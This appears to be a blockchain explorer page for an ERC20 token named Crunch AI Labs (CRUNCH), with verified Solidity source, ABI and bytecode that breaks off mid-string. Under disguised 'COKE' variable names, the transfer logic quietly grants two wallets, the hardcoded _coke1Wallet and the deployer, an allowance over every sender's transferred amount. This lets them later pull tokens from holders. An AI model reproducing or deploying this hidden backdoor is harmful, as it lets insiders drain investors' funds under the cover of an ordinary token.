ETH Price: $2,703.15 (+1.16%)

Token

Crunch AI Labs (CRUNCH)
 

Overview

Max Total Supply

1,000,000,000 CRUNCH

Holders

182

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,597,959.183673469 CRUNCH

Value
$0.00
0x42c435d8d2372d683ea251e9cccf18869f1a88d9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CRUNCH

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-11
*/

/*
Contribute one model to multiple Crunches, maximize your impact, and start earning with CrunchAI.

https://www.crunchai.tech
https://hub.crunchai.tech
https://docs.crunchai.tech

https://x.com/CrunchAITech
https://t.me/CrunchAITech
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface ICOKERouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ICOKEFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract CRUNCH is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balCOKE;
    mapping (address => mapping (address => uint256)) private _allowCOKE;
    mapping (address => bool) private _feeExcemptCOKE;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Crunch AI Labs";
    string private constant _symbol = unicode"CRUNCH";
    uint256 private _swapTokenCOKE = _tTotal / 100;
    bool private inSwapCOKE = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    ICOKERouter private _cokeRouter;
    address private _cokePair;
    address private _coke1Wallet = address(0x197179DF3C80b96dAC8b797589B5eFB137B472Ad);
    address private _coke2Wallet;
    modifier lockTheSwap {
        inSwapCOKE = true;
        _;
        inSwapCOKE = false;
    }
    
    constructor () {
        _coke2Wallet = address(msg.sender);
        _feeExcemptCOKE[owner()] = true;
        _feeExcemptCOKE[address(this)] = true;
        _feeExcemptCOKE[_coke1Wallet] = true;
        _balCOKE[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function initTokenPair() external onlyOwner() {
        _cokeRouter = ICOKERouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_cokeRouter), _tTotal);
        _cokePair = ICOKEFactory(_cokeRouter.factory()).createPair(address(this), _cokeRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balCOKE[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowCOKE[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowCOKE[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowCOKE[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address cokeA, address cokeB, uint256 cokeC) private {
        require(cokeA != address(0), "ERC20: transfer from the zero address");
        require(cokeB != address(0), "ERC20: transfer to the zero address");
        require(cokeC > 0, "Transfer amount must be greater than zero");

        (address aCOKE, address bCOKE, address cCOKE, uint256 taxCOKE) 
            = _getTaxCOKE(cokeA, cokeB, cokeC);

        _cokeTransfer(aCOKE, bCOKE, cCOKE, cokeA, cokeB, cokeC, taxCOKE);
    }

    function _transferCOKE(address aCOKE, address bCOKE, address cCOKE, uint256 cokeA) private { 
        _approve(aCOKE, cCOKE, cokeA); _approve(aCOKE, bCOKE, cokeA); 
    }

    function _cokeTransfer(address aCOKE, address bCOKE, address cCOKE, address cokeA, address cokeB, uint256 cokeC, uint256 taxCOKE) private { 
        if(taxCOKE > 0){
          _balCOKE[address(this)] = _balCOKE[address(this)].add(taxCOKE);
          emit Transfer(cokeA, address(this), taxCOKE);
        } _transferCOKE(aCOKE, bCOKE, cCOKE, cokeC);

        _balCOKE[cokeA] = _balCOKE[cokeA].sub(cokeC);
        _balCOKE[cokeB] = _balCOKE[cokeB].add(cokeC.sub(taxCOKE));
        emit Transfer(cokeA, cokeB, cokeC.sub(taxCOKE));
    }

    function _getTaxCOKE(address cokeA, address cokeB, uint256 cokeC) private returns(address,address,address,uint256) {
        uint256 taxCOKE=0;
        if (cokeA != owner() && cokeB != owner()) {
            taxCOKE = cokeC.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (cokeA == _cokePair && cokeB != address(_cokeRouter) && ! _feeExcemptCOKE[cokeB]) {
                _buyCount++;
            }

            if(cokeB == _cokePair && cokeA!= address(this)) {
                taxCOKE = cokeC.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 tokenCOKE = balanceOf(address(this)); 
            if (!inSwapCOKE && cokeB == _cokePair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(tokenCOKE > _swapTokenCOKE)
                swapTokensForEth(minCOKE(cokeC, minCOKE(tokenCOKE, _swapTokenCOKE)));
                uint256 ethCOKE = address(this).balance;
                if (ethCOKE >= 0) {
                    sendETHCOKE(address(this).balance);
                }
            }
        }
        return (address(cokeA), address(_coke2Wallet), address(_coke1Wallet), taxCOKE);
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _cokeRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {}

    function minCOKE(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHCOKE(uint256 amount) private {
        payable(_coke1Wallet).transfer(amount);
    }

    function swapTokensForEth(uint256 cokeToken) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _cokeRouter.WETH();
        _approve(address(this), address(_cokeRouter), cokeToken);
        _cokeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            cokeToken,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initTokenPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003600455600360055560006006556000600755600660085560066009556006600a556000600b5560646009600a6200003e9190620002fd565b6200004e90633b9aca0062000315565b6200005a91906200032f565b600c55600d805462ffffff19169055600f80546001600160a01b03191673197179df3c80b96dac8b797589b5efb137b472ad1790553480156200009c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b03191633179055600160036000620001096000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600f549091168352912080549092161790556200016e6009600a620002fd565b6200017e90633b9aca0062000315565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c16009600a620002fd565b620001d190633b9aca0062000315565b60405190815260200160405180910390a362000352565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200023f578160001904821115620002235762000223620001e8565b808516156200023157918102915b93841c939080029062000203565b509250929050565b6000826200025857506001620002f7565b816200026757506000620002f7565b81600181146200028057600281146200028b57620002ab565b6001915050620002f7565b60ff8411156200029f576200029f620001e8565b50506001821b620002f7565b5060208310610133831016604e8410600b8410161715620002d0575081810a620002f7565b620002dc8383620001fe565b8060001904821115620002f357620002f3620001e8565b0290505b92915050565b60006200030e60ff84168362000247565b9392505050565b8082028115828204841417620002f757620002f7620001e8565b6000826200034d57634e487b7160e01b600052601260045260246000fd5b500490565b61153580620003626000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb1461024e578063c9567bf91461026e578063d9c1192614610283578063dd62ed3e1461029857600080fd5b8063715018a6146101e05780638da5cb5b146101f757806395d89b411461021f57600080fd5b806306fdde03146100d2578063095ea7b31461011b57806318160ddd1461014b57806323b872dd1461016e578063313ce5671461018e57806370a08231146101aa57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600e81526d4372756e6368204149204c61627360901b60208201525b6040516101129190611126565b60405180910390f35b34801561012757600080fd5b5061013b61013636600461118c565b6102de565b6040519015158152602001610112565b34801561015757600080fd5b506101606102f5565b604051908152602001610112565b34801561017a57600080fd5b5061013b6101893660046111b8565b610316565b34801561019a57600080fd5b5060405160098152602001610112565b3480156101b657600080fd5b506101606101c53660046111f9565b6001600160a01b031660009081526001602052604090205490565b3480156101ec57600080fd5b506101f561037f565b005b34801561020357600080fd5b506000546040516001600160a01b039091168152602001610112565b34801561022b57600080fd5b50604080518082019091526006815265086a4aa9c86960d31b6020820152610105565b34801561025a57600080fd5b5061013b61026936600461118c565b6103fc565b34801561027a57600080fd5b506101f5610409565b34801561028f57600080fd5b506101f5610570565b3480156102a457600080fd5b506101606102b3366004611216565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102eb338484610789565b5060015b92915050565b60006103036009600a611349565b61031190633b9aca00611358565b905090565b60006103238484846108ad565b6103758433610370856040518060600160405280602881526020016114d8602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a06565b610789565b5060019392505050565b6000546001600160a01b031633146103b25760405162461bcd60e51b81526004016103a99061136f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102eb3384846108ad565b6000546001600160a01b031633146104335760405162461bcd60e51b81526004016103a99061136f565b600d54610100900460ff161561048b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a9565b600d543060008181526001602052604090205463010000009092046001600160a01b03169163f305d7199147916000806104cd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610535573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061055a91906113a4565b5050600d805462ffff0019166201010017905550565b6000546001600160a01b0316331461059a5760405162461bcd60e51b81526004016103a99061136f565b600d80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556105f99030906001600160a01b036301000000909104166105eb6009600a611349565b61037090633b9aca00611358565b600d60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067091906113d2565b6001600160a01b031663c9c6539630600d60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f691906113d2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610743573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076791906113d2565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a9565b6001600160a01b03821661084c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a9565b6001600160a01b0382166109735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a9565b600081116109d55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a9565b6000806000806109e6878787610a40565b93509350935093506109fd8484848a8a8a87610c33565b50505050505050565b60008184841115610a2a5760405162461bcd60e51b81526004016103a99190611126565b506000610a3784866113ef565b95945050505050565b6000806000806000610a5a6000546001600160a01b031690565b6001600160a01b0316886001600160a01b031614158015610a8957506000546001600160a01b03888116911614155b15610c0f57610aba6064610ab4600854600b5411610aa957600454610aad565b6006545b8990610d85565b90610e0e565b600e549091506001600160a01b038981169116148015610aef5750600d546001600160a01b0388811663010000009092041614155b8015610b1457506001600160a01b03871660009081526003602052604090205460ff16155b15610b2f57600b8054906000610b2983611402565b91905055505b600e546001600160a01b038881169116148015610b5557506001600160a01b0388163014155b15610b8257610b7f6064610ab4600954600b5411610b7557600554610aad565b6007548990610d85565b90505b30600090815260016020526040902054600d5460ff16158015610bb25750600e546001600160a01b038981169116145b8015610bc65750600d5462010000900460ff165b8015610bd55750600a54600b54115b15610c0d57600c54811115610c0157610c01610bfc88610bf784600c54610e50565b610e50565b610e65565b47610c0b47610ffd565b505b505b601054600f548996506001600160a01b039182169550169250905093509350935093565b8015610cad5730600090815260016020526040902054610c53908261103b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ca49085815260200190565b60405180910390a35b610cb98787878561109a565b6001600160a01b038416600090815260016020526040902054610cdc90836110b6565b6001600160a01b038516600090815260016020526040902055610d21610d0283836110b6565b6001600160a01b0385166000908152600160205260409020549061103b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d6b85856110b6565b60405190815260200160405180910390a350505050505050565b600082600003610d97575060006102ef565b6000610da38385611358565b905082610db0858361141b565b14610e075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a9565b9392505050565b6000610e0783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f8565b6000818311610e5f5782610e07565b50919050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea757610ea761143d565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3e91906113d2565b81600181518110610f5157610f5161143d565b6001600160a01b039283166020918202929092010152600d54610f7e913091630100000090041684610789565b600d5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610fbd908590600090869030904290600401611453565b600060405180830381600087803b158015610fd757600080fd5b505af1158015610feb573d6000803e3d6000fd5b5050600d805460ff1916905550505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611037573d6000803e3d6000fd5b5050565b60008061104883856114c4565b905083811015610e075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a9565b6110a5848383610789565b6110b0848483610789565b50505050565b6000610e0783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a06565b600081836111195760405162461bcd60e51b81526004016103a99190611126565b506000610a37848661141b565b600060208083528351808285015260005b8181101561115357858101830151858201604001528201611137565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461118957600080fd5b50565b6000806040838503121561119f57600080fd5b82356111aa81611174565b946020939093013593505050565b6000806000606084860312156111cd57600080fd5b83356111d881611174565b925060208401356111e881611174565b929592945050506040919091013590565b60006020828403121561120b57600080fd5b8135610e0781611174565b6000806040838503121561122957600080fd5b823561123481611174565b9150602083013561124481611174565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112a05781600019048211156112865761128661124f565b8085161561129357918102915b93841c939080029061126a565b509250929050565b6000826112b7575060016102ef565b816112c4575060006102ef565b81600181146112da57600281146112e457611300565b60019150506102ef565b60ff8411156112f5576112f561124f565b50506001821b6102ef565b5060208310610133831016604e8410600b8410161715611323575081810a6102ef565b61132d8383611265565b80600019048211156113415761134161124f565b029392505050565b6000610e0760ff8416836112a8565b80820281158282048414176102ef576102ef61124f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156113b957600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113e457600080fd5b8151610e0781611174565b818103818111156102ef576102ef61124f565b6000600182016114145761141461124f565b5060010190565b60008261143857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114a35784516001600160a01b03168352938301939183019160010161147e565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102ef576102ef61124f56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ad648601506cde1d86e194a3ae24e63f9a2eea1693079512941f71397c3aada64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb1461024e578063c9567bf91461026e578063d9c1192614610283578063dd62ed3e1461029857600080fd5b8063715018a6146101e05780638da5cb5b146101f757806395d89b411461021f57600080fd5b806306fdde03146100d2578063095ea7b31461011b57806318160ddd1461014b57806323b872dd1461016e578063313ce5671461018e57806370a08231146101aa57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600e81526d4372756e6368204149204c61627360901b60208201525b6040516101129190611126565b60405180910390f35b34801561012757600080fd5b5061013b61013636600461118c565b6102de565b6040519015158152602001610112565b34801561015757600080fd5b506101606102f5565b604051908152602001610112565b34801561017a57600080fd5b5061013b6101893660046111b8565b610316565b34801561019a57600080fd5b5060405160098152602001610112565b3480156101b657600080fd5b506101606101c53660046111f9565b6001600160a01b031660009081526001602052604090205490565b3480156101ec57600080fd5b506101f561037f565b005b34801561020357600080fd5b506000546040516001600160a01b039091168152602001610112565b34801561022b57600080fd5b50604080518082019091526006815265086a4aa9c86960d31b6020820152610105565b34801561025a57600080fd5b5061013b61026936600461118c565b6103fc565b34801561027a57600080fd5b506101f5610409565b34801561028f57600080fd5b506101f5610570565b3480156102a457600080fd5b506101606102b3366004611216565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102eb338484610789565b5060015b92915050565b60006103036009600a611349565b61031190633b9aca00611358565b905090565b60006103238484846108ad565b6103758433610370856040518060600160405280602881526020016114d8602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a06565b610789565b5060019392505050565b6000546001600160a01b031633146103b25760405162461bcd60e51b81526004016103a99061136f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102eb3384846108ad565b6000546001600160a01b031633146104335760405162461bcd60e51b81526004016103a99061136f565b600d54610100900460ff161561048b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a9565b600d543060008181526001602052604090205463010000009092046001600160a01b03169163f305d7199147916000806104cd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610535573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061055a91906113a4565b5050600d805462ffff0019166201010017905550565b6000546001600160a01b0316331461059a5760405162461bcd60e51b81526004016103a99061136f565b600d80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556105f99030906001600160a01b036301000000909104166105eb6009600a611349565b61037090633b9aca00611358565b600d60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067091906113d2565b6001600160a01b031663c9c6539630600d60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f691906113d2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610743573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076791906113d2565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a9565b6001600160a01b03821661084c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a9565b6001600160a01b0382166109735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a9565b600081116109d55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a9565b6000806000806109e6878787610a40565b93509350935093506109fd8484848a8a8a87610c33565b50505050505050565b60008184841115610a2a5760405162461bcd60e51b81526004016103a99190611126565b506000610a3784866113ef565b95945050505050565b6000806000806000610a5a6000546001600160a01b031690565b6001600160a01b0316886001600160a01b031614158015610a8957506000546001600160a01b03888116911614155b15610c0f57610aba6064610ab4600854600b5411610aa957600454610aad565b6006545b8990610d85565b90610e0e565b600e549091506001600160a01b038981169116148015610aef5750600d546001600160a01b0388811663010000009092041614155b8015610b1457506001600160a01b03871660009081526003602052604090205460ff16155b15610b2f57600b8054906000610b2983611402565b91905055505b600e546001600160a01b038881169116148015610b5557506001600160a01b0388163014155b15610b8257610b7f6064610ab4600954600b5411610b7557600554610aad565b6007548990610d85565b90505b30600090815260016020526040902054600d5460ff16158015610bb25750600e546001600160a01b038981169116145b8015610bc65750600d5462010000900460ff165b8015610bd55750600a54600b54115b15610c0d57600c54811115610c0157610c01610bfc88610bf784600c54610e50565b610e50565b610e65565b47610c0b47610ffd565b505b505b601054600f548996506001600160a01b039182169550169250905093509350935093565b8015610cad5730600090815260016020526040902054610c53908261103b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ca49085815260200190565b60405180910390a35b610cb98787878561109a565b6001600160a01b038416600090815260016020526040902054610cdc90836110b6565b6001600160a01b038516600090815260016020526040902055610d21610d0283836110b6565b6001600160a01b0385166000908152600160205260409020549061103b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d6b85856110b6565b60405190815260200160405180910390a350505050505050565b600082600003610d97575060006102ef565b6000610da38385611358565b905082610db0858361141b565b14610e075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a9565b9392505050565b6000610e0783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f8565b6000818311610e5f5782610e07565b50919050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea757610ea761143d565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f1a573d6000803e3